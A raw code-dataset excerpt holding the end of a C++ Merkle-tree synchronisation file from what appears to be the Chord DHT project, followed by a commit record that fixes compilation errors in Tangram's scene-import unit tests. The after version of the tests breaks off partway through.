rpcfnc, missingfnc_t missingfnc)\n : ltree (ltree), rpcfnc (rpcfnc), missingfnc (missingfnc)\n{\n fatal_err = NULL;\n sync_done = false;\n}\n\n\nvoid\nmerkle_syncer::sync (bigint rngmin, bigint rngmax)\n{\n local_rngmin = rngmin;\n local_rngmax = rngmax;\n\n \/\/ start at the root of the merkle tree\n sendnode (0, 0);\n}\n\n\nvoid\nmerkle_syncer::dump ()\n{ \n warn << \"THIS: \" << (u_int)this << \"\\n\";\n warn << \" st.size () \" << st.size () << \"\\n\"; \n}\n\n\nvoid\nmerkle_syncer::doRPC (int procno, ptr<void> in, void *out, aclnt_cb cb)\n{\n \/\/ Must resort to bundling all values into one argument since\n \/\/ async\/callback.h is configured with too few parameters.\n struct RPC_delay_args args (merklesync_program_1, procno, in, out, cb, \n\t\t\t NULL);\n (*rpcfnc) (&args);\n}\n\nvoid\nmerkle_syncer::setdone ()\n{\n sync_done = true;\n}\n\n\nvoid\nmerkle_syncer::error (str err)\n{\n warn << (u_int)this << \": SYNCER ERROR: \" << err << \"\\n\";\n fatal_err = err;\n setdone ();\n}\n\nstr\nmerkle_syncer::getsummary ()\n{\n assert (sync_done);\n strbuf sb;\n\n sb << \"[\" << local_rngmin << \",\" << local_rngmax << \"] \";\n\n if (fatal_err)\n sb << fatal_err;\n\n if (0)\n sb << \"<log \" << log << \">\\n\";\n\n return sb;\n}\n\nvoid\nmerkle_syncer::next (void)\n{\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"local range [\" << local_rngmin << \",\" << local_rngmax << \"]\\n\";\n#endif\n assert (!sync_done);\n assert (!fatal_err);\n\n \/\/ st is queue of pending index nodes\n while (st.size ()) {\n pair<merkle_rpc_node, int> &p = st.back ();\n merkle_rpc_node *rnode = &p.first;\n assert (!rnode->isleaf);\n \n merkle_node *lnode = ltree->lookup_exact (rnode->depth, rnode->prefix);\n\n if (!lnode) {\n fatal << \"lookup_exact didn't match for \" << rnode->prefix << \" at depth \" << rnode->depth << \"\\n\";\n }\n \n\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"starting from slot \" << p.second << \"\\n\";\n#endif\n\n \/\/ XXX not clear p.second will ever enter > 0\n while (p.second < 64) {\n u_int i = p.second;\n p.second += 1;\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"CHECKING: \" << i;\n#endif\n\n bigint remote = tobigint (rnode->child_hash[i]);\n bigint local = tobigint (lnode->child (i)->hash);\n\n u_int depth = rnode->depth + 1;\n\n \/\/prefix is the high bits of the first key \n \/\/ the node is responsible for.\n merkle_hash prefix = rnode->prefix;\n prefix.write_slot (rnode->depth, i);\n bigint slot_rngmin = tobigint (prefix);\n bigint slot_width = bigint (1) << (160 - 6*depth);\n bigint slot_rngmax = slot_rngmin + slot_width - 1;\n\n bool overlaps = overlap (local_rngmin, local_rngmax, slot_rngmin, slot_rngmax);\n\n if (remote != local) {\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n\twarnx << \" differ. local \" << local << \" != remote \" << remote;\n#endif\n\tif (overlaps) {\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n\t warnx << \" .. sending\\n\";\n#endif\n\t sendnode (depth, prefix);\n\t return;\n\t} else {\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n\t warnx << \" .. not sending\\n\";\n#endif\n\t}\n } else {\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n\twarnx << \" same. local \" << local << \" == remote \" << remote << \"\\n\";\n#endif\n }\n }\n \n assert (p.second == 64);\n st.pop_back ();\n }\n\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"DONE .. in NEXT\\n\";\n#endif\n setdone ();\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"OK!\\n\";\n#endif\n}\n\n\nvoid\nmerkle_syncer::sendnode (u_int depth, const merkle_hash &prefix)\n{\n\n ref<sendnode_arg> arg = New refcounted<sendnode_arg> ();\n ref<sendnode_res> res = New refcounted<sendnode_res> ();\n\n u_int lnode_depth;\n merkle_node *lnode = ltree->lookup (&lnode_depth, depth, prefix);\n assert (lnode);\n assert (lnode_depth == depth);\n\n format_rpcnode (ltree, depth, prefix, lnode, &arg->node);\n arg->rngmin = local_rngmin;\n arg->rngmax = local_rngmax;\n doRPC (MERKLESYNC_SENDNODE, arg, res,\n\t wrap (this, &merkle_syncer::sendnode_cb, arg, res));\n}\n\n\nvoid\nmerkle_syncer::sendnode_cb (ref<sendnode_arg> arg, ref<sendnode_res> res, \n\t\t\t clnt_stat err)\n{\n\n if (err) {\n error (strbuf () << \"SENDNODE: rpc error \" << err);\n return;\n } else if (res->status != MERKLE_OK) {\n error (strbuf () << \"SENDNODE: protocol error \" << err2str (res->status));\n return;\n }\n\n merkle_rpc_node *rnode = &res->resok->node;\n\n merkle_node *lnode = ltree->lookup_exact (rnode->depth, rnode->prefix);\n if (!lnode) {\n fatal << \"lookup failed: \" << rnode->prefix << \" at \" << rnode->depth << \"\\n\";\n }\n \n compare_nodes (ltree, local_rngmin, local_rngmax, lnode, rnode, \n\t\t missingfnc, rpcfnc);\n\n if (!lnode->isleaf () && !rnode->isleaf) {\n#ifdef MERKLE_SYNC_TRACE\n warn << \"I vs I\\n\";\n#endif\n st.push_back (pair<merkle_rpc_node, int> (*rnode, 0));\n }\n\n next ();\n}\n\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ merkle_getkeyrange\n\nvoid\nmerkle_getkeyrange::go ()\n{\n if (between (rngmax, incID (current), current)) {\n#ifdef MERKLE_SYNC_TRACE\n warn << \"merkle_getkeyrange::go () ==> DONE\\n\";\n#endif\n delete this;\n return;\n }\n\n ref<getkeys_arg> arg = New refcounted<getkeys_arg> ();\n arg->rngmin = current;\n arg->rngmax = rngmax;\n ref<getkeys_res> res = New refcounted<getkeys_res> ();\n doRPC (MERKLESYNC_GETKEYS, arg, res,\n\t wrap (this, &merkle_getkeyrange::getkeys_cb, arg, res));\n}\n\n\n\nvoid\nmerkle_getkeyrange::getkeys_cb (ref<getkeys_arg> arg, ref<getkeys_res> res, \n\t\t\t\tclnt_stat err)\n\n{\n if (err) {\n warn << \"GETKEYS: rpc error \" << err << \"\\n\";\n delete this;\n return;\n } else if (res->status != MERKLE_OK) {\n warn << \"GETKEYS: protocol error \" << err2str (res->status) << \"\\n\";\n delete this;\n return;\n }\n\n vec<merkle_hash> rkeys;\n chordID round_max = current;\n chordID next_cur = current;\n for (u_int i = 0; i < res->resok->keys.size (); i++) {\n const merkle_hash &key = res->resok->keys[i];\n rkeys.push_back (key);\n\n bigint bkey = tobigint(key);\n if (round_max < bkey) round_max = bkey;\n if (betweenbothincl (next_cur, incID (bkey), bkey))\n next_cur = incID (bkey);\n }\n\n compare_keylists (lkeys, rkeys, current, round_max, missing);\n\n current = next_cur;\n \n if (!res->resok->morekeys)\n current = incID (rngmax); \/\/ set done\n \n go ();\n}\n\n\nvoid\nmerkle_getkeyrange::doRPC (int procno, ptr<void> in, void *out, aclnt_cb cb)\n{\n \/\/ Must resort to bundling all values into one argument since\n \/\/ async\/callback.h is configured with too few parameters.\n struct RPC_delay_args args (merklesync_program_1, procno, in, out, cb,\n\t\t\t NULL);\n (*rpcfnc) (&args);\n}\n\n\n\/\/ ---------------------------------------------------------------------------\n\nvoid\ncompare_keylists (vec<merkle_hash> lkeys,\n\t\t vec<merkle_hash> vrkeys,\n\t\t chordID rngmin, chordID rngmax,\n\t\t missingfnc_t missingfnc)\n{\n \/\/ populate a hash table with the remote keys\n qhash<merkle_hash, int> rkeys;\n for (u_int i = 0; i < vrkeys.size (); i++) {\n if (betweenbothincl (rngmin, rngmax, tobigint(vrkeys[i]))) \n rkeys.insert (vrkeys[i], 1);\n }\n \n \/\/ do I have something he doesn't have?\n for (unsigned int i = 0; i < lkeys.size (); i++) {\n if (!rkeys[lkeys[i]]) {\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"remote missing [\" << rngmin << \", \" << rngmax << \"] key=\" << lkeys[i] << \"\\n\";\n#endif \n (*missingfnc) (tobigint(lkeys[i]), false);\n } else {\n rkeys.remove (lkeys[i]);\n }\n }\n\n \/\/anything left: he has and I don't\n qhash_slot<merkle_hash, int> *slot = rkeys.first ();\n while (slot) {\n#ifdef MERKLE_SYNC_DETAILED_TRACE\n warn << \"local missing [\" << rngmin << \", \" << rngmax << \"] key=\" << slot->key << \"\\n\";\n#endif \n (*missingfnc) (tobigint(slot->key), true);\n slot = rkeys.next (slot);\n }\n \n}\n\nvoid\ncompare_nodes (merkle_tree *ltree, bigint rngmin, bigint rngmax, \n\t merkle_node *lnode, merkle_rpc_node *rnode,\n\t missingfnc_t missingfnc, rpcfnc_t rpcfnc)\n{\n#ifdef MERKLE_SYNC_TRACE\n warn << (lnode->isleaf () ? \"L\" : \"I\")\n << \" vs \"\n << (rnode->isleaf ? \"L\" : \"I\")\n << \"\\n\";\n#endif\n\n if (rnode->isleaf) {\n vec<merkle_hash> lkeys = database_get_keys (ltree->db, rnode->depth, rnode->prefix);\n\n vec<merkle_hash> rkeys;\n for (u_int i = 0; i < rnode->child_hash.size (); i++) {\n if (betweenbothincl (rngmin, rngmax, tobigint (rnode->child_hash[i])))\n\trkeys.push_back (rnode->child_hash[i]);\n }\n\n compare_keylists (lkeys, rkeys, rngmin, rngmax, missingfnc); \n\t\n } else if (lnode->isleaf () && !rnode->isleaf) {\n bigint tmpmin = tobigint (rnode->prefix);\n bigint node_width = bigint (1) << (160 - rnode->depth);\n bigint tmpmax = tmpmin + node_width - 1;\n\n\n \/\/ further constrain to be within the host's range of interest\n if (between (tmpmin, tmpmax, rngmin))\n tmpmin = rngmin;\n if (between (tmpmin, tmpmax, rngmax))\n tmpmax = rngmax;\n\n vec<merkle_hash> lkeys = database_get_keys (ltree->db, rnode->depth, rnode->prefix);\n vNew merkle_getkeyrange (ltree->db, tmpmin, tmpmax, lkeys, missingfnc, rpcfnc);\n }\n}\n\n\/\/ ---------------------------------------------------------------------------\n\nvoid\nformat_rpcnode (merkle_tree *ltree, u_int depth, const merkle_hash &prefix,\n\t\tconst merkle_node *node, merkle_rpc_node *rpcnode)\n{\n rpcnode->depth = depth;\n rpcnode->prefix = prefix;\n rpcnode->count = node->count;\n rpcnode->hash = node->hash;\n rpcnode->isleaf = node->isleaf ();\n \n if (!node->isleaf ()) {\n rpcnode->child_hash.setsize (64);\n for (int i = 0; i < 64; i++)\n rpcnode->child_hash[i] = node->child (i)->hash;\n } else {\n vec<merkle_hash> keys = database_get_keys (ltree->db, depth, prefix);\n\n if (keys.size () != rpcnode->count) {\n warn << \"\\n\\n\\n----------------------------------------------------------\\n\";\n warn << \"BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG\\n\";\n warn << \"Send this output to chord@pdos.lcs.mit.edu\\n\";\n warn << \"BUG: \" << depth << \" \" << prefix << \"\\n\";\n warn << \"BUG: \" << keys.size () << \" != \" << rpcnode->count << \"\\n\";\n ltree->check_invariants ();\n warn << \"BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG BUG\\n\";\n panic << \"----------------------------------------------------------\\n\\n\\n\";\n }\n\n rpcnode->child_hash.setsize (keys.size ());\n for (u_int i = 0; i < keys.size (); i++) {\n rpcnode->child_hash[i] = keys[i];\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"catch.hpp\"\n\n#include \"mockPlatform.h\"\n#include \"scene\/importer.h\"\n\n#include \"yaml-cpp\/yaml.h\"\n\n#include <iostream>\n#include <vector>\n\nusing namespace Tangram;\nusing namespace YAML;\n\nstd::shared_ptr<MockPlatform> getPlatformWithImportFiles() {\n\n auto platform = std::make_shared<MockPlatform>();\n\n platform->putMockUrlContents(\"\/root\/a.yaml\", R\"END(\n import: b.yaml\n value: a\n has_a: true\n )END\");\n\n platform->putMockUrlContents(\"\/root\/b.yaml\", R\"END(\n value: b\n has_b: true\n )END\");\n\n platform->putMockUrlContents(\"\/root\/c.yaml\", R\"END(\n import: [a.yaml, b.yaml]\n value: c\n has_c: true\n )END\");\n\n platform->putMockUrlContents(\"\/root\/cycle_simple.yaml\", R\"END(\n import: cycle_simple.yaml\n value: cyclic\n )END\");\n\n platform->putMockUrlContents(\"\/root\/cycle_tricky.yaml\", R\"END(\n import: imports\/cycle_tricky.yaml\n has_cycle_tricky: true\n )END\");\n\n platform->putMockUrlContents(\"\/root\/imports\/cycle_tricky.yaml\", R\"END(\n import: ..\/cycle_tricky.yaml\n has_imports_cycle_tricky: true\n )END\");\n\n platform->putMockUrlContents(\"\/root\/urls.yaml\", R\"END(\n import: imports\/urls.yaml\n fonts: { fontA: { url: https:\/\/host\/font.woff } }\n sources: { sourceA: { url: 'https:\/\/host\/tiles\/{z}\/{y}\/{x}.mvt' } }\n textures:\n tex1: { url: \"path\/to\/texture.png\" }\n tex2: { url: \"..\/up_a_directory.png\" }\n styles:\n styleA:\n texture: \"path\/to\/texture.png\"\n shaders:\n uniforms:\n u_tex1: \"\/at_root.png\"\n u_tex2: [\"path\/to\/texture.png\", tex2]\n u_tex3: tex3\n u_bool: true\n u_float: 0.25\n )END\");\n\n platform->putMockUrlContents(\"\/root\/imports\/urls.yaml\", R\"END(\n fonts: { fontB: [ { url: fonts\/0.ttf }, { url: fonts\/1.ttf } ] }\n sources: { sourceB: { url: \"tiles\/{z}\/{y}\/{x}.mvt\" } }\n textures:\n tex3: { url: \"in_imports.png\" }\n tex4: { url: \"..\/not_in_imports.png\" }\n tex5: { url: \"\/at_root.png\" }\n styles:\n styleB:\n texture: \"in_imports.png\"\n shaders:\n uniforms:\n u_tex1: \"in_imports.png\"\n u_tex2: tex2\n )END\");\n\n platform->putMockUrlContents(\"\/root\/globals.yaml\", R\"END(\n fonts: { aFont: { url: global.fontUrl } }\n sources: { aSource: { url: global.sourceUrl } }\n textures: { aTexture: { url: global.textureUrl } }\n styles: { aStyle: { texture: global.textureUrl, shaders: { uniforms: { aUniform: global.textureUrl } } } }\n )END\");\n\n return platform;\n}\n\nTEST_CASE(\"Imported scenes are merged with the parent scene\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer;\n auto root = importer.applySceneImports(platform, Url(\"\/root\/a.yaml\"));\n\n CHECK(root[\"value\"].Scalar() == \"a\");\n CHECK(root[\"has_a\"].Scalar() == \"true\");\n CHECK(root[\"has_b\"].Scalar() == \"true\");\n}\n\nTEST_CASE(\"Nested imports are merged recursively\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer;\n auto root = importer.applySceneImports(platform, Url(\"\/root\/c.yaml\"));\n\n CHECK(root[\"value\"].Scalar() == \"c\");\n CHECK(root[\"has_a\"].Scalar() == \"true\");\n CHECK(root[\"has_b\"].Scalar() == \"true\");\n CHECK(root[\"has_c\"].Scalar() == \"true\");\n}\n\nTEST_CASE(\"Imports that would start a cycle are ignored\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer;\n\n \/\/ If import cycles aren't checked for and stopped, this call won't return.\n auto root = importer.applySceneImports(platform, Url(\"\/root\/cycle_simple.yaml\"));\n\n \/\/ Check that the scene values were applied.\n CHECK(root[\"value\"].Scalar() == \"cyclic\");\n}\n\nTEST_CASE(\"Tricky import cycles are ignored\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer;\n\n \/\/ The nested import should resolve to the same path as the original file,\n \/\/ and so the importer should break the cycle.\n auto root = importer.applySceneImports(platform, Url(\"\/root\/cycle_tricky.yaml\"));\n\n \/\/ Check that the imported scene values were merged.\n CHECK(root[\"has_cycle_tricky\"].Scalar() == \"true\");\n CHECK(root[\"has_imports_cycle_tricky\"].Scalar() == \"true\");\n}\n\nTEST_CASE(\"Scene URLs are resolved against their parent during import\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer;\n auto root = importer.applySceneImports(platform, Url(\"\/root\/urls.yaml\"));\n\n \/\/ Check that global texture URLs are resolved correctly.\n\n auto textures = root[\"textures\"];\n\n CHECK(textures[\"tex1\"][\"url\"].Scalar() == \"\/root\/path\/to\/texture.png\");\n CHECK(textures[\"tex2\"][\"url\"].Scalar() == \"\/up_a_directory.png\");\n CHECK(textures[\"tex3\"][\"url\"].Scalar() == \"\/root\/imports\/in_imports.png\");\n CHECK(textures[\"tex4\"][\"url\"].Scalar() == \"\/root\/not_in_imports.png\");\n CHECK(textures[\"tex5\"][\"url\"].Scalar() == \"\/at_root.png\");\n\n \/\/ Check that \"inline\" texture URLs are resolved correctly.\n\n auto styleA = root[\"styles\"][\"styleA\"];\n\n CHECK(styleA[\"texture\"].Scalar() == \"\/root\/path\/to\/texture.png\");\n\n auto uniformsA = styleA[\"shaders\"][\"uniforms\"];\n\n CHECK(uniformsA[\"u_tex1\"].Scalar() == \"\/at_root.png\");\n CHECK(uniformsA[\"u_tex2\"][0].Scalar() == \"\/root\/path\/to\/texture.png\");\n CHECK(uniformsA[\"u_tex2\"][1].Scalar() == \"tex2\");\n CHECK(uniformsA[\"u_bool\"].Scalar() == \"true\");\n CHECK(uniformsA[\"u_float\"].Scalar() == \"0.25\");\n CHECK(uniformsA[\"u_tex3\"].Scalar() == \"tex3\");\n\n auto styleB = root[\"styles\"][\"styleB\"];\n\n CHECK(styleB[\"texture\"].Scalar() == \"\/root\/imports\/in_imports.png\");\n\n auto uniformsB = styleB[\"shaders\"][\"uniforms\"];\n\n CHECK(uniformsB[\"u_tex1\"].Scalar() == \"\/root\/imports\/in_imports.png\");\n \/\/ Don't use global textures from importing scene\n CHECK(uniformsB[\"u_tex2\"].Scalar() == \"\/root\/imports\/tex2\");\n\n \/\/ Check that data source URLs are resolved correctly.\n\n CHECK(root[\"sources\"][\"sourceA\"][\"url\"].Scalar() == \"https:\/\/host\/tiles\/{z}\/{y}\/{x}.mvt\");\n CHECK(root[\"sources\"][\"sourceB\"][\"url\"].Scalar() == \"\/root\/imports\/tiles\/{z}\/{y}\/{x}.mvt\");\n\n \/\/ Check that font URLs are resolved correctly.\n\n CHECK(root[\"fonts\"][\"fontA\"][\"url\"].Scalar() == \"https:\/\/host\/font.woff\");\n CHECK(root[\"fonts\"][\"fontB\"][0][\"url\"].Scalar() == \"\/root\/imports\/fonts\/0.ttf\");\n CHECK(root[\"fonts\"][\"fontB\"][1][\"url\"].Scalar() == \"\/root\/imports\/fonts\/1.ttf\");\n\n \/\/ We don't explicitly check that import URLs are resolved correctly because if they were not,\n \/\/ the scenes wouldn't be loaded and merged; i.e. we already test it implicitly.\n}\n\nTEST_CASE(\"References to globals are not treated like URLs during importing\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer;\n auto root = importer.applySceneImports(platform, Url(\"\/root\/globals.yaml\"));\n\n \/\/ Check that font global references are preserved.\n CHECK(root[\"fonts\"][\"aFont\"][\"url\"].Scalar() == \"global.fontUrl\");\n\n \/\/ Check that data source global references are preserved.\n CHECK(root[\"sources\"][\"aSource\"][\"url\"].Scalar() == \"global.sourceUrl\");\n\n \/\/ Check that texture global references are preserved.\n CHECK(root[\"textures\"][\"aTexture\"][\"url\"].Scalar() == \"global.textureUrl\");\n CHECK(root[\"styles\"][\"aStyle\"][\"texture\"].Scalar() == \"global.textureUrl\");\n CHECK(root[\"styles\"][\"aStyle\"][\"shaders\"][\"uniforms\"][\"aUniform\"].Scalar() == \"global.textureUrl\");\n}\n\nTEST_CASE(\"Map overwrites sequence\", \"[import][core]\") {\n std::shared_ptr<MockPlatform> platform = getPlatformWithImportFiles();\n platform->putMockUrlContents(\"\/base.yaml\", R\"END(\n import: [roads.yaml, roads-labels.yaml]\n )END\");\n\n platform->putMockUrlContents(\"\/roads.yaml\", R\"END(\n filter:\n - kind: highway\n - $zoom: { min: 8 }\n )END\");\n\n platform->putMockUrlContents(\"\/roads-labels.yaml\", R\"END(\n filter: { kind: highway }\n )END\");\n\n Importer importer;\n auto root = importer.applySceneImports(platform, Url(\"\/base.yaml\"));\n\n CHECK(root[\"filter\"].IsMap());\n CHECK(root[\"filter\"].size() == 1);\n CHECK(root[\"filter\"][\"kind\"].Scalar() == \"highway\");\n}\n\nTEST_CASE(\"Sequence overwrites map\", \"[import][core]\") {\n std::shared_ptr<MockPlatform> platform = std::make_shared<MockPlatform>();\n platform->putMockUrlContents(\"\/base.yaml\", R\"END(\n import: [map.yaml, sequence.yaml]\n )END\");\n platform->putMockUrlContents(\"\/map.yaml\", R\"END(\n a: { b: c }\n )END\");\n\n platform->putMockUrlContents(\"\/sequence.yaml\", R\"END(\n a: [ b, c]\n )END\");\n\n Importer importer;\n auto root = importer.applySceneImports(platform, Url(\"\/base.yaml\"));\n\n CHECK(root[\"a\"].IsSequence());\n CHECK(root[\"a\"].size() == 2);\n}\n\nTEST_CASE(\"Scalar and null overwrite correctly\", \"[import][core]\") {\n std::shared_ptr<MockPlatform> platform = std::make_shared<MockPlatform>();\n platform->putMockUrlContents(\"\/base.yaml\", R\"END(\n import: [scalar.yaml, null.yaml]\n scalar_at_end: scalar\n null_at_end: null\n )END\");\n platform->putMockUrlContents(\"\/scalar.yaml\", R\"END(\n null_at_end: scalar\n )END\");\n\n platform->putMockUrlContents(\"\/null.yaml\", R\"END(\n scalar_at_end: null\n )END\");\n\n Importer importer;\n auto root = importer.applySceneImports(platform, Url(\"\/base.yaml\"));\n\n CHECK(root[\"scalar_at_end\"].Scalar() == \"scalar\");\n CHECK(root[\"null_at_end\"].IsNull());\n}\n\nTEST_CASE(\"Scene load from source string\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = std::make_shared<MockPlatform>();\n std::unordered_map<Url, std::string> testScenes;\n platform->putMockUrlContents(\"\/resource_root\/scalar.yaml\", R\"END(\n null_at_end: scalar\n )END\");\n platform->putMockUrlContents(\"\/resource_root\/null.yaml\", R\"END(\n scalar_at_end: null\n )END\");\n\n std::string base_yaml = R\"END(\n import: [scalar.yaml, null.yaml]\n scalar_at_end: scalar\n null_at_end: null\n )END\";\n\n Importer importer;\n\n auto scene = std::make_shared<Scene>(platform, base_yaml, \"\/resource_root\/\");\n auto root = importer.applySceneImports(platform, scene);\n\n for (auto& s : importer.scenes()) {\n logMsg(\":> %s\\n\", s.first.string().c_str());\n }\n\n CHECK(root[\"scalar_at_end\"].Scalar() == \"scalar\");\n CHECK(root[\"null_at_end\"].IsNull());\n}\n<commit_msg>Fix compilation errors in sceneImportTests<commit_after>#include \"catch.hpp\"\n\n#include \"mockPlatform.h\"\n#include \"scene\/importer.h\"\n\n#include \"yaml-cpp\/yaml.h\"\n\n#include <iostream>\n#include <vector>\n\nusing namespace Tangram;\nusing namespace YAML;\n\nstd::shared_ptr<MockPlatform> getPlatformWithImportFiles() {\n\n auto platform = std::make_shared<MockPlatform>();\n\n platform->putMockUrlContents(\"\/root\/a.yaml\", R\"END(\n import: b.yaml\n value: a\n has_a: true\n )END\");\n\n platform->putMockUrlContents(\"\/root\/b.yaml\", R\"END(\n value: b\n has_b: true\n )END\");\n\n platform->putMockUrlContents(\"\/root\/c.yaml\", R\"END(\n import: [a.yaml, b.yaml]\n value: c\n has_c: true\n )END\");\n\n platform->putMockUrlContents(\"\/root\/cycle_simple.yaml\", R\"END(\n import: cycle_simple.yaml\n value: cyclic\n )END\");\n\n platform->putMockUrlContents(\"\/root\/cycle_tricky.yaml\", R\"END(\n import: imports\/cycle_tricky.yaml\n has_cycle_tricky: true\n )END\");\n\n platform->putMockUrlContents(\"\/root\/imports\/cycle_tricky.yaml\", R\"END(\n import: ..\/cycle_tricky.yaml\n has_imports_cycle_tricky: true\n )END\");\n\n platform->putMockUrlContents(\"\/root\/urls.yaml\", R\"END(\n import: imports\/urls.yaml\n fonts: { fontA: { url: https:\/\/host\/font.woff } }\n sources: { sourceA: { url: 'https:\/\/host\/tiles\/{z}\/{y}\/{x}.mvt' } }\n textures:\n tex1: { url: \"path\/to\/texture.png\" }\n tex2: { url: \"..\/up_a_directory.png\" }\n styles:\n styleA:\n texture: \"path\/to\/texture.png\"\n shaders:\n uniforms:\n u_tex1: \"\/at_root.png\"\n u_tex2: [\"path\/to\/texture.png\", tex2]\n u_tex3: tex3\n u_bool: true\n u_float: 0.25\n )END\");\n\n platform->putMockUrlContents(\"\/root\/imports\/urls.yaml\", R\"END(\n fonts: { fontB: [ { url: fonts\/0.ttf }, { url: fonts\/1.ttf } ] }\n sources: { sourceB: { url: \"tiles\/{z}\/{y}\/{x}.mvt\" } }\n textures:\n tex3: { url: \"in_imports.png\" }\n tex4: { url: \"..\/not_in_imports.png\" }\n tex5: { url: \"\/at_root.png\" }\n styles:\n styleB:\n texture: \"in_imports.png\"\n shaders:\n uniforms:\n u_tex1: \"in_imports.png\"\n u_tex2: tex2\n )END\");\n\n platform->putMockUrlContents(\"\/root\/globals.yaml\", R\"END(\n fonts: { aFont: { url: global.fontUrl } }\n sources: { aSource: { url: global.sourceUrl } }\n textures: { aTexture: { url: global.textureUrl } }\n styles: { aStyle: { texture: global.textureUrl, shaders: { uniforms: { aUniform: global.textureUrl } } } }\n )END\");\n\n return platform;\n}\n\nTEST_CASE(\"Imported scenes are merged with the parent scene\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer(std::make_shared<Scene>(platform, Url(\"\/root\/a.yaml\")));\n auto root = importer.applySceneImports(platform);\n\n CHECK(root[\"value\"].Scalar() == \"a\");\n CHECK(root[\"has_a\"].Scalar() == \"true\");\n CHECK(root[\"has_b\"].Scalar() == \"true\");\n}\n\nTEST_CASE(\"Nested imports are merged recursively\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer(std::make_shared<Scene>(platform, Url(\"\/root\/c.yaml\")));\n auto root = importer.applySceneImports(platform);\n\n CHECK(root[\"value\"].Scalar() == \"c\");\n CHECK(root[\"has_a\"].Scalar() == \"true\");\n CHECK(root[\"has_b\"].Scalar() == \"true\");\n CHECK(root[\"has_c\"].Scalar() == \"true\");\n}\n\nTEST_CASE(\"Imports that would start a cycle are ignored\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer(std::make_shared<Scene>(platform, Url(\"\/root\/cycle_simple.yaml\")));\n\n \/\/ If import cycles aren't checked for and stopped, this call won't return.\n auto root = importer.applySceneImports(platform);\n\n \/\/ Check that the scene values were applied.\n CHECK(root[\"value\"].Scalar() == \"cyclic\");\n}\n\nTEST_CASE(\"Tricky import cycles are ignored\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer(std::make_shared<Scene>(platform, Url(\"\/root\/cycle_tricky.yaml\")));\n\n \/\/ The nested import should resolve to the same path as the original file,\n \/\/ and so the importer should break the cycle.\n auto root = importer.applySceneImports(platform);\n\n \/\/ Check that the imported scene values were merged.\n CHECK(root[\"has_cycle_tricky\"].Scalar() == \"true\");\n CHECK(root[\"has_imports_cycle_tricky\"].Scalar() == \"true\");\n}\n\nTEST_CASE(\"Scene URLs are resolved against their parent during import\", \"[import][core]\") {\n std::shared_ptr<Platform> platform = getPlatformWithImportFiles();\n Importer importer(std::make_shared<Scene>(platform, Url(\"\/root\/urls.yaml\")));\n auto root = importer.applySceneImports(platform);\n\n \/\/ Check that global texture URLs are resolved correctly.\n\n auto textures = root[\"textures\"];\n\n CHECK(textures[\"tex1\"][\"url\"].Scalar() == \"\/root\/path\/to\/texture.png\");\n CHECK(textures[\"tex2\"][\"url\"].Scalar() == \"\/up_a_directory.png\");\n CHECK(textures[\"tex3\"][\"url\"].Scalar() == \"\/root\/imports\/in_imports.png\");\n CHECK(textures[\"tex4\"][\"url\"].Scalar() == \"\/root\/not_in_imports.png\");\n CHECK(textures[\"tex5\"][\"url\"].Scalar() == \"\/at_root.png\");\n\n \/\/ Check that \"inline\" texture URLs are resolved correctly.\n\n auto styleA = root[\"styles\"][\"styleA\"];\n\n CHECK(styleA[\"texture\"].Scalar() == \"\/root\/path\/to\/texture.png\");\n\n auto uniformsA = styleA[\"shaders\"][\"uniforms\"];\n\n CHECK(uniformsA[\"u_tex1\"].Scalar() == \"\/at_root.png\");\n CHECK(uniformsA[\"u_tex2\"][0].Scalar() == \"\/root\/path\/to\/texture.png\");\n CHECK(uniformsA[\"u_tex2\"][1].Scalar() == \"tex2\");\n CHECK(uniformsA[\"u_bool\"].Scalar() == \"true\");\n CHECK(uniformsA[\"u_float\"].Scalar() == \"0.25\");\n CHECK(uniformsA[\"u_tex3\"].Scalar() == \"tex3\");\n\n auto styleB = root[\"styles\"][\"styleB\"];\n\n CHECK(styleB[\"texture\"].Scalar() == \"\/root\/imports\/in_imports.png\");\n\n auto uniformsB = styleB[\"shaders\"][\"uniforms\"];\n\n CHECK(uniformsB[\"u_tex1\"].Scalar() == \"\/root\/imports\/in_imports.png\");\n \/\/ Don't use global textures from importing scene\n CHECK(uniformsB[\"u_tex2\"].Scalar() == \"\/root\/imports\/tex2\");\n\n \/\/ Check that data source URLs are resolved correctly.\n\n CHECK(root[\"sources\"][\"sourceA\"][\"url\"].Scalar() == \"https:\/\/host\/tiles\/{z}\/{y}\/{x}.mvt\");\n CHECK(root[\"sources\"][\"sourceB\"][\"url\"].Scalar() == \"\/root\/imports\/tiles\/{z}\/{y}\/{x}.mvt\");\n\n \/\/ Check that font URLs are resolved correctly.\n\n CHECK(root[\"fonts\"][\"fontA\"][\"url\"].Scalar() == \"https:\/\/host\/font.woff\");\n CHECK(root[\"fonts\"][\"fontB\"][0][\"url\"].Scalar() == \"\/root\/imports\/fonts\/0.ttf\");\n 